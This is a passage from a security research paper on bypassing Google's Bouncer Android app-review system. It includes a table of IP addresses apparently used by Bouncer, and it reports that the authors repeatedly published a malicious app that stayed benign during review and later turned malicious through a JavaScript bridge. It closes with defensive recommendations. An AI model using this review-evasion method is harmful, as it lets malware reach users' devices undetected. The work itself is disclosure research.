  

|	
  74.125.112.103	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:13:27	
  |	
  

|	
  74.125.114.86	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:13:27	
  |	
  

|	
  74.125.114.88	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:13:27	
  |	
  

|	
  74.125.112.98	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:13:27	
  |	
  

Figure 13: Bouncer In Aggressive Mode 
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Figure 14: Bouncer Bounced Us 
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What We Learned About “Bouncer” 
We went into this research knowing only what Google had publically disclosed about Bouncer. We were able to 
validate that he was in fact automated and performing behavior-based review of the applications submitted.  

Through all of this we were able to draw an interesting comparison Google’s Bouncer with a real “bouncer” that 
you might find at your local tavern: 

If you are not of legal drinking age, the only barrier between you and a cold craft beer at a pub is the bouncer 
at the door. It is the bouncer’s job not only to ID each patron, but also to perform some visual analysis to see if 
there might be some trouble before you are let into the establishment. To bypass a bouncer in the real-world, 
all one has to do is have a very good fake ID and not look like they are going to cause trouble while inside the 
bar. The main difference between our bar analogy is that in the real world you are in a controlled environment 
once you are validated as “safe”. Obviously, once our underage drinker begins to get unruly they will be 
detected within the bar and be kicked out by the bouncer.  

A problem with Google’s method of malware prevention is that by showing up with a legitimate developer 
account and submitting an application that looks, smells, and feels safe, we were allowed to publish our 
malicious application. We did this not once, but many times after the initial publication of our benign application. 
Since they are not monitoring the activity of our application once it is installed on a real user’s device, if the 
application decides to turn malicious they have zero visibility into what’s happening and therefore can’t detect 
the problem – until a savvy end user reports it as malicious. 

Instead of just checking application for malicious functionality upon submission, perhaps some behavior 
monitoring can be performed on the devices as well.  

Since Google reviews the application during the submission process, they could request a functionality map from 
the developer. With this in hand they should be able to map out its functionality and actions during review. They 
could keep this information on record for each application that is validated as well. This map could then be 
included with the application download and used on the end user’s device to self-police applications that have 
been installed. If the application attempts to step outside the bounds that it was submitted to perform, the 
device itself could halt the operation and prompt the end user to perform some a simple decision: 

• Allow the application to proceed 
• Terminate the application 

At this point the details of the application in violation could be reported to Google’s security team for possible 
removal from the Google Play market.  

Additionally, Google should strictly limit the functionality of the Javascript bridge. The only code that should be 
able to access the user’s or the phone’s data through the SDK must be code signed and distributed within the 
APK – Javascript that is downloaded over the internet after the app is installed should not be executed with full 
privileges. 
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Conclusions 
Application markets with malware detection can easily be bypassed. It is very difficult for both automated and 
manual reviews to detect malicious functionality with the time constraints placed upon the reviewing parties. 
The malware authors only need to ensure that their malware does not exhibit any malicious functionality during 
the application review process and then just enable it at their discretion.  

Applications, like Facebook, that utilize a Javascript bridge cannot be used within trusted environments. This 
functionality would allow any application to bypass an automated or manual application review process. This will 
result in an application that could decide to become malicious even AFTER it has been certified benign by the 
reviewer or review process.  

As mobile applications continue to evolve, new controls need to be developed and put into place that will limit a 
developer’s ability to covertly insert malicious or privacy violating functionality into their applications after the 
application store custodian’s review process.  

This issue will continue to be a challenge for both public application markets and also private/corporate 
application markets that are being planned or implemented by organizations today.  
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